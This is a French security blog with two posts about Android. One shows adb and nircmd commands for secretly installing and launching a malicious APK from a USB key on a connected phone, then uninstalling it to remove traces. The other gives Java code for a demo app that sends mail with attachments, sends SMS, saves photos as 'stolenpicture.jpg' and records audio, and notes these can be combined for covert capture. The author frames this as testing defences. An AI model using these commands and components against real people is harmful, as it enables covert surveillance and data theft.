Affichage des articles dont le libellé est attaque. Afficher tous les articles
Affichage des articles dont le libellé est attaque. Afficher tous les articles

dimanche 29 septembre 2013

Un trou de sécurité dans Android...c’est à voir!

Vous avez tous entendu parlé de la possibilité d'installer une application Android malveillante (bug 8219321 et bug 9695860) en la signant avec une application bien officielle.

Pour plus de détails voir le blog de Jay Freeman (@saurik)

On trouve également sur le github de Fuzion24 quelques "apk" (comprendre applications Android) modifiés qui permettent d'installer une application malveillante signée en utilisant ces bugs.

Essayons les!

On copie d'abord l'"apk" sur notre téléphone puis on installe l'application.

droid@screen-2

On obtient alors un magnifique message en provenance du Google Play Store nous informant que cette application est malveillante car elle exploite un bug connu, et que l'installer c'est prendre un très gros risque!

droid@screen-3

Continuons tout de même!

On obtient alors un message nous informant que notre paramétrage interdit l'installation des applications en dehors du Google Play Store.

droid@screen-4

Conseil: vérifier le paramétrage de votre téléphone permettant d’interdire l’installation d’applications en dehors du Google Play Store

droid@screen-5

Quant on sait que Google affirme qu'il n'y a aucune application compromise dans le Google Play Store, le risque semble faible

Déception! Ou pas!

Maintenant toutes ces manipulations m'ont donné une idée!

Pré-requis: Imaginons que le paramètre "USB Debugging" que l'on peut trouver dans "Settings / Developer Options" soit activé. Vous avez par exemple eu besoin d'afficher l'écran de votre téléphone sur votre ordinateur (pour plus d'informations voir "Afficher l’écran de votre téléphone sur votre ordinateur") et vous n'avez pas désactivé l'option.

Dans ce cas, l'attaquant peut installer son environnement Android sur sa clef USB et lancer l'installation de l'"apk" à partir de sa clef. A condition bien sûr que la cible ait son téléphone connecté en USB sur son PC (pour recharger son téléphone ou bien transfèrer des données comme des photos par exemple). Alors si l'attaquant réussi à connecter sa clef USB sur le PC de la cible et à executer son programme, c'est gagné.

En effet si je lance la commande:

> adb install -r SecurityDemo.apk

alors l'installation réussie.

Une autre approche consiste à inciter votre cible à connecter son téléphone sur votre PC.

Référez vous au blog "La clef USB: le maillon faible ?" qui décrit quelques techniques permettant d'automatiser l'exécution de commande à partir d'une clef USB.
La charge utile pour installer et lancer l'application malveillante pourrait alors ressembler à:

> nircmd.exe execmd /Android/SDK/platform-tools/adb install -r /Android/Projects/SecurityDemo/bin/SecurityDemo.apk
> nircmd.exe execmd /Android/SDK/platform-tools/adb shell am start -n com.proxia.securitydemo/com.proxia.securitydemo.SecurityDemo

Il est aussi possible pour faire disparaître les traces de notre passage d'arrêter l'application et de la désinstaller avec les commandes suivantes:

> adb shell am force-stop com.proxia.securitydemo
> adb uninstall com.proxia.securitydemo

Et ca marche!

vendredi 30 août 2013

Sécurité des applications Android

Depuis Hack In Paris 2012 et la présentation de Georgia Weidman (@georgiaweidman) sur la sécurité Android, j'ai envie moi aussi de développer ma propre application.

Eh bien c'est fait!

Mon objectif est double:
  • Vérifier la force des contre-mesures que j'ai appliqué sur mon téléphone (le terme de contre-mesures est un peu fort)
  • Avoir une idée de ce qu'il est possible de faire

Pour répondre au premier point il est tout d'abord nécessaire de vous présenter l'application "Data Defender" développé par la société Authentec.

Cette application permet de protéger l'accès à vos applications critiques (gérant des données privées) comme le mail, l'envoi de SMS, l'accès à votre système de fichiers ou la prise de photo.

droid@screen-6
Vous choisissez quelles sont les applications que vous souhaitez protéger et lorsque que vous souhaitez y accéder vous devez saisir soit un code PIN ou un pattern.

droid@screen-7

C'est bien pratique!

Mais que se passe t'il si l'appel à votre application protégée est fait à partir d'une autre application malveillante!

Pour vérifier le comportement de “Data Defender” j'ai développé une application qui essaie d'envoyer un mail à partir des clients mail présents sur le téléphone. Data Defender est alors appelé et me demande de saisir mon pattern pour accéder au client mail.

On s'en doutait un peu!

Mais, malgré tout, est-il possible d'envoyer un mail à l'insu de l'utilisateur, d'envoyer un SMS sans laisser de trace dans l'historique, d'accéder au système de fichiers, de prendre une photo ou bien d'enregistrer une conversion?

La réponse à toutes ces questions est "oui".

Bien entendu l'application doit avoir les droits d'accès nécessaires pour effectuer toutes ces opérations. Et vous avez remarqué que lorsque vous installez une application la liste des droits d'accès requis par l'application vous est présenté afin de vous prévenir d'une éventuelle menace. Mais qui parmi nous à refusé d'installer une application car elle était un peu trop gourmande en droits d'accès! Pas moi!

A titre d'exemple voici un sous-ensembles des droits d'accès de l'application Facebook.

droid@screen-1

Ca fait peur non?

Dans ce qui suit je vous propose de jeter un oeil au code permettant de réaliser toutes ces opérations. Le code se lit facilement c'est pourquoi je me contente de vous le donner tel quel. Seul la partie de code décrivant la fonction est donnée.

Envoi d'un mail (source: Jon Simon)

Pour réaliser l'envoi d'un mail il est nécessaire de créer un compte Gmail (ne servant qu'à l'envoi du mail) et de renseigner les paramètres correspondants dans le code.

   1: public void sendGMail() {

   2:             Thread thread = new Thread(new Runnable(){

   3:             @Override

   4:             public void run() {

   5:                 try {

   6:                     //Your code goes here

   7:                     Mail m = new Mail("yourfakeaccount@gmail.com", "yourpassword");        

   8:                     String[] toArr = {emailAddress.getText().toString()};       

   9:                     m.setTo(toArr);       

  10:                     m.setFrom("yourfakeaccount@gmail.com");       

  11:                     m.setSubject("Security Demo");       

  12:                     m.setBody(emailText.getText().toString());        

  13:                     m.addAttachment(Environment.getExternalStorageDirectory().getPath() + "/securitydemo.txt");          

  14:                     if(m.send()) {           

  15:                         Toast.makeText(SendEmailDemo.this, "Email was sent successfully.", Toast.LENGTH_LONG).show();         

  16:                     } else {           

  17:                         Toast.makeText(SendEmailDemo.this, "Email was not sent.", Toast.LENGTH_LONG).show();         

  18:                     }       

  19:                 } catch(Exception e) {         

  20:                     Log.e("MailApp", "Could not send email", e);       

  21:                 }    

  22:             }

  23:         });

  24:         thread.start(); 

  25: }

Envoi d'un SMS (source: Gupta.Avinash)




   1: public void sendLongSMS() {         

   2:  

   3:     SmsManager smsManager = SmsManager.getDefault();

   4:     ArrayList<String> parts = smsManager.divideMessage(messageText.getText().toString()); 

   5:     smsManager.sendMultipartTextMessage(phoneNumber.getText().toString(), null, parts, null, null);

   6:     

   7:     Toast.makeText(getApplicationContext(), "Message Sent!", Toast.LENGTH_LONG).show();

   8: }


Accès au système de fichiers (source: Stackoverflow)




   1: public void writeFile() {

   2:     try {

   3:         File sdCard = Environment.getExternalStorageDirectory();

   4:         File dir = new File (sdCard.getAbsolutePath());

   5:         File file= new File(dir, fileName.getText().toString());

   6:         System.out.println(file.getAbsolutePath());

   7:  

   8:         FileOutputStream fOut = new FileOutputStream(file);

   9:  

  10:         OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

  11:         myOutWriter.append(fileContent.getText());

  12:         myOutWriter.close();

  13:         fOut.close();  

  14:         Toast.makeText(getApplicationContext(), "File saved!", Toast.LENGTH_LONG).show();

  15:     } catch (IOException e) {

  16:           Toast.makeText(getApplicationContext(), "Failed to write file", Toast.LENGTH_LONG).show();

  17:     }

  18: }


Prise d'une photo (source: Marko Gargenta)

L'intégralité du fichier "java" est fourni pour ceux qui ne sont pas familiers avec l'utilisation des librairies "Graphique".



   1: package com.proxia.securitydemo;

   2:  

   3: import java.io.FileNotFoundException;

   4: import java.io.FileOutputStream;

   5: import java.io.IOException;

   6: import android.content.Context;

   7: import android.graphics.Canvas;

   8: import android.graphics.Color;

   9: import android.graphics.Paint;

  10: import android.hardware.Camera;

  11: import android.hardware.Camera.PreviewCallback;

  12: import android.util.Log;

  13: import android.view.SurfaceHolder;

  14: import android.view.SurfaceView;

  15:  

  16: class Preview extends SurfaceView implements SurfaceHolder.Callback {    

  17:     private static final String TAG = "Preview";    

  18:     

  19:     SurfaceHolder mHolder;    

  20:     public Camera camera;    

  21:     

  22:     Preview(Context context) {        

  23:         super(context);        

  24:         mHolder = getHolder();        

  25:         mHolder.addCallback(this);        

  26:         mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);    

  27:     }    

  28:     

  29:     public void surfaceCreated(SurfaceHolder holder) {        

  30:         camera = Camera.open();        

  31:         try {            

  32:             camera.setPreviewDisplay(holder);            

  33:             camera.setPreviewCallback(new PreviewCallback() {                

  34:                 

  35:                 public void onPreviewFrame(byte[] data, Camera arg1) {                    

  36:                     FileOutputStream outStream = null;                    

  37:                     Preview.this.invalidate();                

  38:                 }            

  39:             });        

  40:         } catch (IOException e) {            

  41:             e.printStackTrace();        

  42:         }    

  43:     }    

  44:     

  45:     public void surfaceDestroyed(SurfaceHolder holder) {        

  46:         camera.stopPreview();        

  47:         camera = null;    

  48:     }    

  49:     

  50:     public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {        

  51:         Camera.Parameters parameters = camera.getParameters();        

  52:         parameters.setPreviewSize(w, h);        

  53:         camera.setParameters(parameters);        

  54:         camera.startPreview();    

  55:     }    

  56:     

  57:     @Override    

  58:     public void draw(Canvas canvas) {        

  59:         super.draw(canvas);        

  60:         Paint p = new Paint(Color.RED);        

  61:         Log.d(TAG, "draw");        

  62:         canvas.drawText("PREVIEW", canvas.getWidth() / 2,                

  63:                 canvas.getHeight() / 2, p);    

  64:     }

  65: }

  66:  

Enregistrement d'une conversation (source: Developer Android)

L'intégralité des fichiers "java" est fourni pour ceux qui ne sont pas familiers avec l'utilisation des librairies "Media".



   1: package com.proxia.securitydemo;

   2:  

   3: import android.app.Activity; 

   4: import android.widget.LinearLayout; 

   5: import android.os.Bundle; 

   6: import android.os.Environment; 

   7: import android.view.Menu;

   8: import android.view.MenuInflater;

   9: import android.view.MenuItem;

  10: import android.view.ViewGroup; 

  11: import android.widget.Button; 

  12: import android.view.View; 

  13: import android.view.View.OnClickListener; 

  14: import android.content.Context; 

  15: import android.content.Intent;

  16: import android.util.Log; 

  17: import android.media.MediaRecorder; 

  18: import android.media.MediaPlayer;  

  19: import java.io.IOException;   

  20:  

  21: public class AudioRecordTest extends Activity {     

  22:     private static final String LOG_TAG = "AudioRecordTest";     

  23:     private static String mFileName = null;      

  24:     private RecordButton mRecordButton = null;     

  25:     private MediaRecorder mRecorder = null;      

  26:     private PlayButton   mPlayButton = null;     

  27:     private MediaPlayer   mPlayer = null;    

  28:     

  29:     private void onRecord(boolean start) {         

  30:         if (start) {             

  31:             startRecording();         

  32:         } else {             

  33:             stopRecording();         

  34:         }     

  35:     }      

  36:     

  37:     private void onPlay(boolean start) {         

  38:         if (start) {             

  39:             startPlaying();         

  40:         } else {             

  41:             stopPlaying();         

  42:         }     

  43:     }      

  44:     

  45:     private void startPlaying() {         

  46:         mPlayer = new MediaPlayer();         

  47:         try {             

  48:             mPlayer.setDataSource(mFileName);             

  49:             mPlayer.prepare();             

  50:             mPlayer.start();         

  51:         } catch (IOException e) {             

  52:             Log.e(LOG_TAG, "prepare() failed");         

  53:         }     

  54:     }      

  55:     

  56:     private void stopPlaying() {         

  57:         mPlayer.release();         

  58:         mPlayer = null;     

  59:     }      

  60:     

  61:     private void startRecording() {         

  62:         mRecorder = new MediaRecorder();         

  63:         mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);         

  64:         mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);         

  65:         mRecorder.setOutputFile(mFileName);         

  66:         mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);          

  67:         try {             

  68:             mRecorder.prepare();         

  69:         } catch (IOException e) {             

  70:             Log.e(LOG_TAG, "prepare() failed");         

  71:         }          

  72:         mRecorder.start();     

  73:     }      

  74:     

  75:     private void stopRecording() {        

  76:         mRecorder.stop();         

  77:         mRecorder.release();         

  78:         mRecorder = null;     

  79:     }      

  80:     

  81:     class RecordButton extends Button {         

  82:         boolean mStartRecording = true;          

  83:         OnClickListener clicker = new OnClickListener() {             

  84:             public void onClick(View v) {                 

  85:                 onRecord(mStartRecording);                 

  86:                 if (mStartRecording) {                     

  87:                     setText("Stop recording");                

  88:                 } else {                     

  89:                     setText("Start recording");                 

  90:                 }                 

  91:                 mStartRecording = !mStartRecording;             

  92:             }         

  93:         };          

  94:         

  95:         public RecordButton(Context ctx) {             

  96:             super(ctx);             

  97:             setText("Start recording");             

  98:             setOnClickListener(clicker);         

  99:         }     

 100:     }      

 101:     

 102:     class PlayButton extends Button {         

 103:         boolean mStartPlaying = true;          

 104:         OnClickListener clicker = new OnClickListener() {             

 105:             public void onClick(View v) {                 

 106:                 onPlay(mStartPlaying);                 

 107:                 if (mStartPlaying) {                     

 108:                     setText("Stop playing");                 

 109:                 } else {                     

 110:                     setText("Start playing");                

 111:                 }                 

 112:                 mStartPlaying = !mStartPlaying;             

 113:             }         

 114:         };          

 115:         

 116:         public PlayButton(Context ctx) {             

 117:             super(ctx);             

 118:             setText("Start playing");             

 119:             setOnClickListener(clicker);         

 120:         }     

 121:     }      

 122:     

 123:     public AudioRecordTest() {         

 124:         mFileName = Environment.getExternalStorageDirectory().getAbsolutePath();         

 125:         mFileName += "/audiorecordtest.3gp";     

 126:     }     

 127:     

 128:     @Override     

 129:     public void onCreate(Bundle icicle) {         

 130:         super.onCreate(icicle);          

 131:         LinearLayout ll = new LinearLayout(this);         

 132:         mRecordButton = new RecordButton(this);         

 133:         ll.addView(mRecordButton,             

 134:                 new LinearLayout.LayoutParams(                 

 135:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 136:                         ViewGroup.LayoutParams.WRAP_CONTENT,                

 137:                         0));         

 138:         mPlayButton = new PlayButton(this);         

 139:         ll.addView(mPlayButton,             

 140:                 new LinearLayout.LayoutParams(                 

 141:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 142:                         ViewGroup.LayoutParams.WRAP_CONTENT,                 

 143:                         0));        

 144:         setContentView(ll);     

 145:     } 

 146:     

 147:     @Override     

 148:     public void onPause() {         

 149:         super.onPause();         

 150:         if (mRecorder != null) {             

 151:             mRecorder.release();             

 152:             mRecorder = null;         

 153:         }          

 154:         if (mPlayer != null) {             

 155:             mPlayer.release();             

 156:             mPlayer = null;         

 157:         }     

 158:     } 

 159:  

 160:     public boolean onPrepareOptionsMenu(Menu menu) 

 161:     {

 162:         super.onPrepareOptionsMenu(menu);

 163:         

 164:         return true;

 165:     }

 166:  

 167:     // ------------------------------------------------------

 168:     // ------------------------------------------------------

 169:     @Override

 170:     public boolean onCreateOptionsMenu(Menu menu) 

 171:     {

 172:         super.onCreateOptionsMenu(menu);

 173:         

 174:         try

 175:         {

 176:             MenuInflater inflater = getMenuInflater();

 177:     

 178:             inflater.inflate(R.menu.securitydemo, menu);

 179:     

 180:             inflater = null;

 181:         }

 182:         catch (Exception e)

 183:         {

 184:         }

 185:  

 186:         return true;

 187:     }

 188:  

 189:     // ------------------------------------------------------

 190:     // ------------------------------------------------------

 191:     @Override

 192:     public boolean onOptionsItemSelected(MenuItem item) 

 193:     {

 194:         switch (item.getItemId()) 

 195:         {

 196:             case R.id.menu_mail: 

 197:             {

 198:                 Intent intent = new Intent(this, SendEmailDemo.class);

 199:                 this.startActivity(intent);

 200:                 finish();

 201:                 return true;

 202:             }

 203:     

 204:             case R.id.menu_sd: 

 205:             {

 206:                 Intent intent = new Intent(this, WriteSDDemo.class);

 207:                 this.startActivity(intent);

 208:                 finish();

 209:                 return true;

 210:             }

 211:     

 212:             case R.id.menu_sms: 

 213:             {

 214:                 Intent intent = new Intent(this, SecurityDemo.class);

 215:                 this.startActivity(intent);

 216:                 finish();

 217:                 return true;

 218:             }

 219:  

 220:             case R.id.menu_picture: 

 221:             {

 222:                 Intent intent = new Intent(this, CameraDemo.class);

 223:                 this.startActivity(intent);

 224:                 finish();

 225:                 return true;

 226:             }

 227:  

 228:             case R.id.menu_audio: 

 229:             {

 230:                 return true;

 231:             }

 232:         }

 233:         

 234:         return false;

 235:     }

 236:  

 237:  

 238: }




   1: package com.proxia.securitydemo;

   2:  

   3: import java.io.FileNotFoundException;

   4: import java.io.FileOutputStream;

   5: import java.io.IOException;

   6: import java.util.ArrayList;

   7:  

   8: import android.app.Activity;

   9: import android.content.Intent;

  10: import android.hardware.Camera;

  11: import android.hardware.Camera.PictureCallback;

  12: import android.hardware.Camera.ShutterCallback;

  13: import android.os.Bundle;import android.os.Environment;

  14: import android.telephony.SmsManager;

  15: import android.util.Log;

  16: import android.view.Menu;

  17: import android.view.MenuInflater;

  18: import android.view.MenuItem;

  19: import android.view.View;

  20: import android.view.View.OnClickListener;

  21: import android.widget.Button;

  22: import android.widget.FrameLayout;

  23: import android.widget.Toast;

  24:  

  25: public class CameraDemo extends Activity {    

  26:     private static final String TAG = "CameraDemo";    

  27:     Camera camera;    

  28:     Preview preview;    

  29:     Button buttonClick;    

  30:     

  31:     /** Called when the activity is first created. */    

  32:     @Override    

  33:     public void onCreate(Bundle savedInstanceState) {

  34:         super.onCreate(savedInstanceState);

  35:         setContentView(R.layout.activity_picturedemo);

  36:         preview = new Preview(this);

  37:         ((FrameLayout) findViewById(R.id.preview)).addView(preview);

  38:         buttonClick = (Button) findViewById(R.id.buttonClick);

  39:         buttonClick.setOnClickListener(new OnClickListener() {            

  40:             public void onClick(View v) {                

  41:                 preview.camera.takePicture(shutterCallback, rawCallback,                        

  42:                         jpegCallback);            

  43:                 }        

  44:             });

  45:         

  46:             Log.d(TAG, "onCreate'd");    

  47:         }

  48:     

  49:         ShutterCallback shutterCallback = new ShutterCallback() {        

  50:             public void onShutter() {            

  51:                 Log.d(TAG, "onShutter'd");        

  52:                 }    

  53:         };    

  54:         

  55:         /** Handles data for raw picture */    

  56:         PictureCallback rawCallback = new PictureCallback() {        

  57:             public void onPictureTaken(byte[] data, Camera camera) {            

  58:                 Log.d(TAG, "onPictureTaken - raw");        

  59:                 }    

  60:         };    

  61:         

  62:         /** Handles data for jpeg picture */    

  63:         PictureCallback jpegCallback = new PictureCallback() {        

  64:             public void onPictureTaken(byte[] data, Camera camera) {            

  65:                 FileOutputStream outStream = null;            

  66:                 try {                

  67:                     outStream = new FileOutputStream(Environment.getExternalStorageDirectory().getPath() + "/stolenpicture.jpg");                

  68:                     outStream.write(data);                

  69:                     outStream.close();                

  70:                     Log.d(TAG, "onPictureTaken - wrote bytes: " + data.length);        

  71:                     

  72:                 } catch (FileNotFoundException e) {                

  73:                     e.printStackTrace();            

  74:                 } catch (IOException e) {                

  75:                     e.printStackTrace();            

  76:                 } finally {        

  77:                 }            

  78:                 Log.d(TAG, "onPictureTaken - jpeg");        

  79:             }    

  80:         };

  81:         

  82:  

  83:         public boolean onPrepareOptionsMenu(Menu menu) 

  84:         {

  85:             super.onPrepareOptionsMenu(menu);

  86:             

  87:             return true;

  88:         }

  89:  

  90:         // ------------------------------------------------------

  91:         // ------------------------------------------------------

  92:         @Override

  93:         public boolean onCreateOptionsMenu(Menu menu) 

  94:         {

  95:             super.onCreateOptionsMenu(menu);

  96:             

  97:             try

  98:             {

  99:                 MenuInflater inflater = getMenuInflater();

 100:                 inflater.inflate(R.menu.securitydemo, menu);        

 101:                 inflater = null;

 102:             }

 103:             catch (Exception e)

 104:             {

 105:             }

 106:  

 107:             return true;

 108:         }

 109:  

 110:         // ------------------------------------------------------

 111:         // ------------------------------------------------------

 112:         @Override

 113:         public boolean onOptionsItemSelected(MenuItem item) 

 114:         {

 115:             switch (item.getItemId()) 

 116:             {

 117:                 case R.id.menu_mail: 

 118:                 {

 119:                     Intent intent = new Intent(this, SendEmailDemo.class);

 120:                     this.startActivity(intent);

 121:                     finish();

 122:                     return true;

 123:                 }

 124:         

 125:                 case R.id.menu_sd: 

 126:                 {

 127:                     Intent intent = new Intent(this, WriteSDDemo.class);

 128:                     this.startActivity(intent);

 129:                     finish();

 130:                     return true;

 131:                 }

 132:         

 133:                 case R.id.menu_sms: 

 134:                 {

 135:                     Intent intent = new Intent(this, SecurityDemo.class);

 136:                     this.startActivity(intent);

 137:                     finish();

 138:                     return true;

 139:                 }

 140:  

 141:                 case R.id.menu_picture: 

 142:                 {

 143:                     return true;

 144:                 }

 145:  

 146:                 case R.id.menu_audio: 

 147:                 {

 148:                     Intent intent = new Intent(this, AudioRecordTest.class);

 149:                     this.startActivity(intent);

 150:                     finish();

 151:                     return true;

 152:                 }

 153:             }

 154:             

 155:             return false;

 156:         }

 157:  

 158: }

 159:  

 160:  


Bien sûr toutes ces fonctions peuvent être combinées, comme par exemple l'enregistrement d'une conversation, le stockage du fichier "audio" dans le système de fichiers et l"envoi de ce fichier par mail.

L'application SecurityDemo est téléchargeable ICI.

Voici quelques captures d'écrans:

droid@screen-21

droid@screen-22

N'hésitez pas à me contacter si vous souhaitez avoir plus d'informations sur cette application.

Partager avec...